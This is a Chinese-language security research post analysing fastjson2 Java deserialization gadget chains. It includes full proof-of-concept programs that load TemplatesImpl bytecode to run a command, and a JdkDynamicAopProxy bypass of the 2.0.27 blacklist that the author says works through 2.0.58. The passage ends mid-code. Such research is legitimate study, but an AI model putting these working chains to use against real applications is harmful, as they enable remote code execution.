一文带你看懂fastjson2下的反序列化调用链完整过程
来分析一下fastjson2下的反序列化调用链全过程
fastjson2下的反序列化调用链分析 ==================== ### 前言 在前面fastjson1下的反序列化调用链分析中，简单提到过fastjson2下的反序列化调用链，但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。 ### Fastjson2<=2.0.26调试分析 依赖版本改成如下即可： ```xml <!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>2.0.26</version> </dependency> ``` 当时使用的poc如下： ```java package org.example; import javax.management.BadAttributeValueExpException; import com.alibaba.fastjson.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.*; import java.lang.reflect.Field; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc",templates); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 运行即可弹出计算机。 其实主要的点还是在于调用toString()方法，直接将代码改简单些来调试分析一下流程： ```java package org.example; import com.alibaba.fastjson.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc",templates); jsonObject.toString(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 直接打断点于getOutputProperties()方法：  调试直接成功断在这里，此时的调用栈为： ```php getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer) write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer) toJSONString:2388, JSON (com.alibaba.fastjson2) toString:1028, JSONObject (com.alibaba.fastjson) main:32, Main (org.example) ``` 朴实无华，但是从中还是可以看到之前fastjson1分析下的一些影子，比如：  很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。 现在来跟一下具体细节，看一下对序列化类的处理逻辑。 打断点于toString()方法：  这里的JSONWriter的Feature是一个枚举类型的类：  里面就有我们获取的定义在这个类中的ReferenceDetection值。 后面发现JSONObject类在fastjson2中其实有两个：  在前面我们都是使用的fastjson1的JSONObject来分析，两个都能弹，并且其实调试下来最终的调用方法是一样的，这里就直接调试分析fastjson2的JSONObject过程了，直接在import处将代码改成fastjson2即可。然后打断点调试，直接断于JSONObject类的toString()方法：  跟进这个JSONWriter类的of()方法：  最后也是返回了这个jsonWriter变量，现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况，后续会用到类中的变量，要搞清楚对应变量的赋值以及调用，重新调试单击进入JSONFactory类的createWriteContext()方法：  这里的defaultObjectWriterProvider是静态的直接默认的变量：  继续跟进JSONWriter类的内部类Context类的初始化：  也就是将features赋值为0，然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。 最后返回了这个Context类，然后一直返回，回到JSONWriterUTF16JDK8类的初始化：  继续往父类初始化：  继续往父类看：  初始化情况如上，这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后，回到其子类JSONWriterUTF16的初始化：  这里的chars需要关注，后面要提到。可以看到这里的cachedIndex为1，跟进调用的JSONFactory类的allocateCharArray()方法：  可以看到直接静态设置了几个变量，如这里非常重要的CHAR\_ARRAY\_CACHE，这是一个二维数组，但是并没有定义值，所以`CHAR_ARRAY_CACHE[cacheIndex]`的值为null，从而将这个chars值设置为8192个下表的数组，并且最后返回了这个数组。 而后这个char数组的内容都是默认的占位符吧应该是：  后续会提到，这里就先继续调试跟着走。 —————— 回到JSONWriter类的of()方法，最后是返回了这个实例化的JSONWriterUTF16JDK8类：  然后应该是设置了要序列化的类：  跟进setRootObject()方法：  效果如上，然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化，同样是传参传入了JSONObject类，对于这里的write()方法，关键的地方在于：  这里调用了迭代器来获取我们存储在JSONObject中的键值对：  然后继续往后面走，可以看到序列化key的地方：  当调用了writeString()方法后，这里的chars的值就更改了，这里的writeString()方法就不跟进了，关键点如下：  数组的一个copy操作，将value的值copy进chars中。 继续回到JSONWriterUTF16类的write()方法，后续就可以看到对value进行了处理：  并且对其进行了获取Class处理并对比，如下一些class对象： ```java String.class Integer.class Long.class Boolean.class BigDecimal.class JSONArray.class JSONObject.class ``` 毫无疑问都不是和TemplatesImpl相关的，所以最后是到了如下代码：  非常熟悉的代码了，就是对TemplatesImpl类进行序列化处理。 跟进Context类的getObjectWriter()方法：  可以看到是接收的Type和Class对象的参数，但是传参可以看出来是都传的Class类型的，其实就是因为Class类实现了Type接口而已：  然后会调用ObjectWriterProvider类的getObjectWriter()方法：  代码如下：  毫无疑问当时赋值时就没有对cache作任何处理，并且这个变量是一个final初始化的一个默认的变量，故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下：  前面经过一系列处理，都找不到对应的TemplatesImpl类的，这里就会创建一个序列化类用于序列化相关的类，其次可以看到当成功创建了类过后，就会调用putIfAbsent()方法以键值对的形式放进到cache中，以便后续再次序列化相关类时直接通过get()获取，最后是返回了这个objectWriter序列化类。 跟进getCreator()方法：  最后是会返回这个creator变量，这个变量的赋值在类的初始化阶段就完成了，这里简单提一下： 在前面关于ObjectWriterProvider类的初始化，我们是直接调用的无参构造函数：  这里就涉及到了有关creator的赋值，调试效果如下：  这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中：  所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例：  并且将变量classloader赋值为了DynamicClassLoader类实例：  跟进原先的DynamicClassLoader.getInstance()，就是直接获取instance：  很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。 回到ObjectWriterProvider类的getObjectWriter()方法：  故会调用ObjectWriterCreatorASM类的createObjectWriter()方法，并且在成功创建后会将其以键值对的形式放入到cache中，以便后续再次调用，并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法，后续比较关键的就是对于method中的getter的处理，如下代码：  这里会先调用BeanUtils类的getters()方法，关键在于如下：  先从methodCache中查看是否有缓存的method，没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中，后续对获取到的方法进行了处理，调用的for循环进行的获取来判断如上图，关键的地方在如下：  可以看到是处理了getter方法，一般getter的长度都会大于3，所以这里的nameMatch肯定为true，然后进行了判断，就是取methodName的第四个字母进行判断，要是在a到z之间并且methodName长度为4，就赋值为false，但是从后面逻辑来看这里是**需要nameMatch为true**的，不然就会continue，并且从这个条件来看也是不容易满足的。 在这里获取到对应的getter方法后，继续往后看，会获取getter方法对应的fileName：  再然后就会创建序列化类了：  此时的调用栈为： ```php createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer) lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14) getters:1010, BeanUtils (com.alibaba.fastjson2.util) createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer) getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2) write:2246, JSONWriterUTF16 (com.alibaba.fastjson2) toString:1090, JSONObject (com.alibaba.fastjson2) main:33, Main (org.example) ``` 继续跟进createFieldWriter的实现：  比较关键的就是这一部分的getInitWriter()方法的调用，由于参数传递，这里的initObjectWriter为null，这段代码先试获取了方法的返回值的类型，然后跟进getInitWriter()的调用：  就是判断返回值的Class对象是否符合上述几个Class对象，不符合的话就返回null，而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类：  比如我这里调试判断的就是getTransletIndex()方法，返回值为int类型，故如上图会实例化FieldWriterInt32Method类，最后将其放入到fieldWriterMap变量中：  然而由于我们想要利用的getOutputProperties()方法的返回对象为`class java.util.Properties`，没有匹配的类，故直接使用的Object类型来进行的调用：  再然后可以看到fieldWriterMap的值发生了变化：  一切都是有规律的。 这里需要提到一个点，这里的”fieldWriter“类的最终父类都是FieldWriter类，并且在传参时都是给这个父类的值进行赋值，在这里我们需要注意到其中存在一个变量的更替，以getOutputProperties()方法的过程为例：  可以看到会对父类进行传参，需要注意这里的类中时自定义了一个变量，**field:null**，并且其他如前面提到的FieldWriterInt32Method类也是这样的，这个后续有大用，然后就是一直跟进到最顶父类的赋值：  —— 故事的最后，我们如约获取到了对应的三个getter方法：  然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。 前面讲了关于getter方法的处理，其实就是处理一下public的field，从而方便调用它的getter方法。再往后看，就是我们需要的objectWriter类的实例化了：  可以看到定义了类名，在多次调试过程中经常出现它的名字，这里也是找到了出处，然后找了包名，这里就是为在内存中生成这个类做准备，定义了类名以及所出包的位置。再后续呢，就是往类中定义了一些方法，然后是<u>实例化了这个类作为objectWriter并返回</u>：  这里的诸如genMethodWriteJSONB()方法往OWG\_1\_3\_TemplatesImpl类中去定义方法内的代码，这里的对应情况如下： | 调用的方法 | 实现的OWG\_1\_3\_TemplatesImpl类中的方法 | |---|---| | genMethodWriteJSONB() | writeJSONB() | | genMethodWrite() | write() | | genMethodWriteArrayMapping() | writeArrayMapping() | 调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法，大致流程是差不多的，这里就讲讲write()定义的流程，同时可以**搞清楚我们前面弄了这么久的fieldWriters起到了什么作用**。 跟进genMethodWrite()方法：  可以看到定义的方法名称，直接跟进fieldWriters的处理方式：  调用了for循环来对fieldWriters中存储的序列化类进行处理，跟进gwFieldValue()方法：  会获取到filterWriter的fieldClass，然后进行类型判断：  最后还是调用gwFieldValueObject()方法，跟进这个方法中的genGetObject()方法：  关键点来了，由于赋值时fieldWriter.field肯定为null，也就是前面提到的，所以这里会将member赋值为对应的getter方法，从而顺理成章调用到visitMethodInsn()方法从而可以往OWG\_1\_3\_TemplatesImpl类的write()方法中写入调用对应getter方法的代码，其他的fieldWriter同理，由于for循环，故流程都是这个，调用栈为： ```php genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer) getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer) getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2) write:2246, JSONWriterUTF16 (com.alibaba.fastjson2) toString:1090, JSONObject (com.alibaba.fastjson2) main:33, Main (org.example) ``` 再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的：  但是由于这一个过程是在内存中进行的，也就是没有实际的java文件落地，只能通过监听内存从而获取这个类的内容。 这里可以使用arthas工具，我们需要将运行代码改成如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); try{ JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", templates); jsonObject.toString(); }catch (Exception e){ while(true){ } } } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 众所周知在成功完成一次动态加载字节码后会报错退出，所以我们需要在这里加一个自循环从而让程序不会退出，然后运行并使用arthas工具监听即可：  在前面我们已经知道了对应类的包名，也就可以知道它的路径，然后用工具将其反编译出来： ```php jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl ``` 然后就可以拿到生成的类了，这里简单截取一些write()方法的代码： ```java if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19; var14_12 = var1_1.isRefDetect(); if (!var14_12) ** GOTO lbl-1000 if (var2_2 == var12_11) { this.fieldWriter0.writeFieldName(var1_1); var1_1.writeReference(".."); } else { var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11); if (var13_13 != null) { this.fieldWriter0.writeFieldName(var1_1); var1_1.writeReference(var13_13); var1_1.popPath(var12_11); } else lbl-1000: // 2 sources { this.fieldWriter0.writeFieldName(var1_1); this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L); } } break block20; } if ((var8_6 & 16L) != 0L) { this.fieldWriter0.writeFieldName(var1_1); var1_1.writeNull(); } } var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM(); if (var15_14 == null) break block21; if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22; var14_12 = var1_1.isRefDetect(); if (!var14_12) ** GOTO lbl-1000 if (var2_2 == var15_14) { this.fieldWriter1.writeFieldName(var1_1); var1_1.writeReference(".."); } else { var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14); if (var13_13 != null) { this.fieldWriter1.writeFieldName(var1_1); var1_1.writeReference(var13_13); var1_1.popPath(var15_14); } else lbl-1000: // 2 sources { this.fieldWriter1.writeFieldName(var1_1); this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L); } } break block22; } if ((var8_6 & 16L) != 0L) { this.fieldWriter1.writeFieldName(var1_1); var1_1.writeNull(); } } if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) { this.fieldWriter2.writeInt32(var1_1, var16_15); } var1_1.endObject(); ``` 在这个部分代码中，我们可以看到调用了对应的三个getter方法，顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex() 从而达到通过调用getter方法获取到对应field值的效果。 至此，在可行版本下序列化的过程调试分析完毕。 ### 绕过限制再次达成攻击 那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢，修改fastjson2的版本来探究一下： ```xml <!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> --> <dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.27</version> </dependency> ``` 那么在新的修复中做了哪些改变呢，再次过了一遍了流程，主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单：  从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法，前后流程对比可以在2.0.27版本中是多了如图的这几行代码，对传参的objectClass进行了判断，也就是对要序列化的类进行了处理，只要符合条件就直接退出了流程的继续，跟进这个ignore()方法： ```java static boolean ignore(Class objectClass) { if (objectClass == null) { return true; } String name = objectClass.getName(); switch (name) { case "javassist.CtNewClass": case "javassist.CtNewNestedClass": case "javassist.CtClass": case "javassist.CtConstructor": case "javassist.CtMethod": case "org.apache.ibatis.javassist.CtNewClass": case "org.apache.ibatis.javassist.CtClass": case "org.apache.ibatis.javassist.CtConstructor": case "org.apache.ibatis.javassist.CtMethod": case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet": case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl": case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl": case "org.apache.wicket.util.io.DeferredFileOutputStream": case "org.apache.xalan.xsltc.trax.TemplatesImpl": case "org.apache.xalan.xsltc.runtime.AbstractTranslet": case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl": case "org.apache.commons.collections.functors.ChainedTransformer": return true; default: break; } return false; } ``` 很容易看出这里就是添加了一个黑名单，其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类，由于我们传参的类为TemplatesImpl类，匹配到这里的逻辑，导致直接return退出，不会再进行后续的操作。 但是这里还是可以通过动态代理来绕过。 #### JdkDynamicAopProxy链 这里使用到的类就是JdkDynamicAopProxy类，需要有spring-aop依赖： ```xml <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.19</version> </dependency> ``` 我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类，是一个功能非常强大的类，这里主要的思路就是利用jackson解决不稳定性的方法来分析利用（个人认为fastjson2不会存在这个不稳定性，因为在成功创建了所有的fieldWriterMap后，还会调用Collections.sort()进行排序，故应该不会存在先后问题错误导致直接退出），然后这里讲讲这里的JdkDynamicAopProxy类的利用点： 这里主要利用的是它的invoke()方法，基本构造就是最初学习时的格式：  在这里主要的利用点就是如下代码：  只要可控这里的target，并且控制chain为空，那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法：  那么恰巧的是，这些参数是可控的，并且在SpringAOP链的学习中，可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用，那么在这里正如jackson那个的解决方法一样，直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句，所以只需要控制targetSource.getTarget()返回值对应即可，而这里的AdvisedSupport类有好用的方法：  直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties()，就会进入到这里的invoke()方法，并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。 简单思路就是如上，并且和jackson调用链绕过的流程可以说非常像，现在我们就需要注意调用fastjson序列化时的过程了，这里我们会利用到动态代理，先来简单看一个本地demo：  可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0，并且再调用getMethods()时的结果是从接口中获取到的方法，也就是Templates.class接口类的中的方法。 所以思路其实很清晰了，这里的proxy又不在黑名单里面，又可以获取到想利用的getter方法，又可以控制TempltesImpl类，所以简单的poc如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); jsonObject.toString(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 运行弹出计算机。然后在分析调试的过程中，发现还是和自己分析的过程不一样，重点在BeanUtils#getter()中，如下：  这里很容易看出来就是判断这里是否为代理类，如果是的话就获取接口然后再次调用getter方法，当时简单跟了一下以为会判定为false，结果差点就功亏一篑呀，根据调试继续跟进： 跟进isProxyClass()方法：  前面会判定为true不奇怪，proxyClassCache变量定义如下：  想当然以为containsValue()方法就是看是否包含对应的值，其实并不是，这里会包含，代码比较简单就不跟进了，还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口：  后续的过程基本就清楚了，就是让objectClass变为了Templates.class，再次调用getter方法，**幸好黑名单里面没有Templates.class**，也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过，然后获取其Method，然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行：  但是在这里的Proxy.isProxyClass()的判断中，可以注意到这里的if条件。要求interfaces只能为一个，那么我是否可以让interfaces为两个或更多，来让objectClass不会改变，从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢，简单尝试如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import javax.xml.transform.Templates; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); jsonObject.toString(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class，让接口获取不再是一个：  从而在ignore()判断中返回false：  从而继续后续调用链的进行来调用到write()方法。所以从这里来看，**至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行**，看后面绕过还用不用得到。 经测试到目前**最新的2.0.58版本都能使用**只有Templates.class的链子打，就看后续会怎么修复吧。 并且后面版本的fastjson的黑名单变成了hash值计算的结果，而且加密逻辑都在代码中有体现。 最后可以用来序列化攻击的poc如下： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] code = new byte[][]{classBytes}; TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", code); setFieldValue(templates, "_name", "fupanc"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templates); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); JSONObject jsonObject = new JSONObject(); jsonObject.put("fupanc", proxyObj); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field field = bad.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(bad, jsonObject); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser")); out.writeObject(bad); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser")); in.readObject(); in.close(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } ``` 并且两个接口类的也可以用： ```java package org.example; import com.alibaba.fastjson2.JSONObject; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.springframework.aop.framework.AdvisedSupport; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; public class Main{ public static void main(String[] args) throws Exception { //使用javassist定义恶意代码 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = classPool.makeClass("Evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");"; 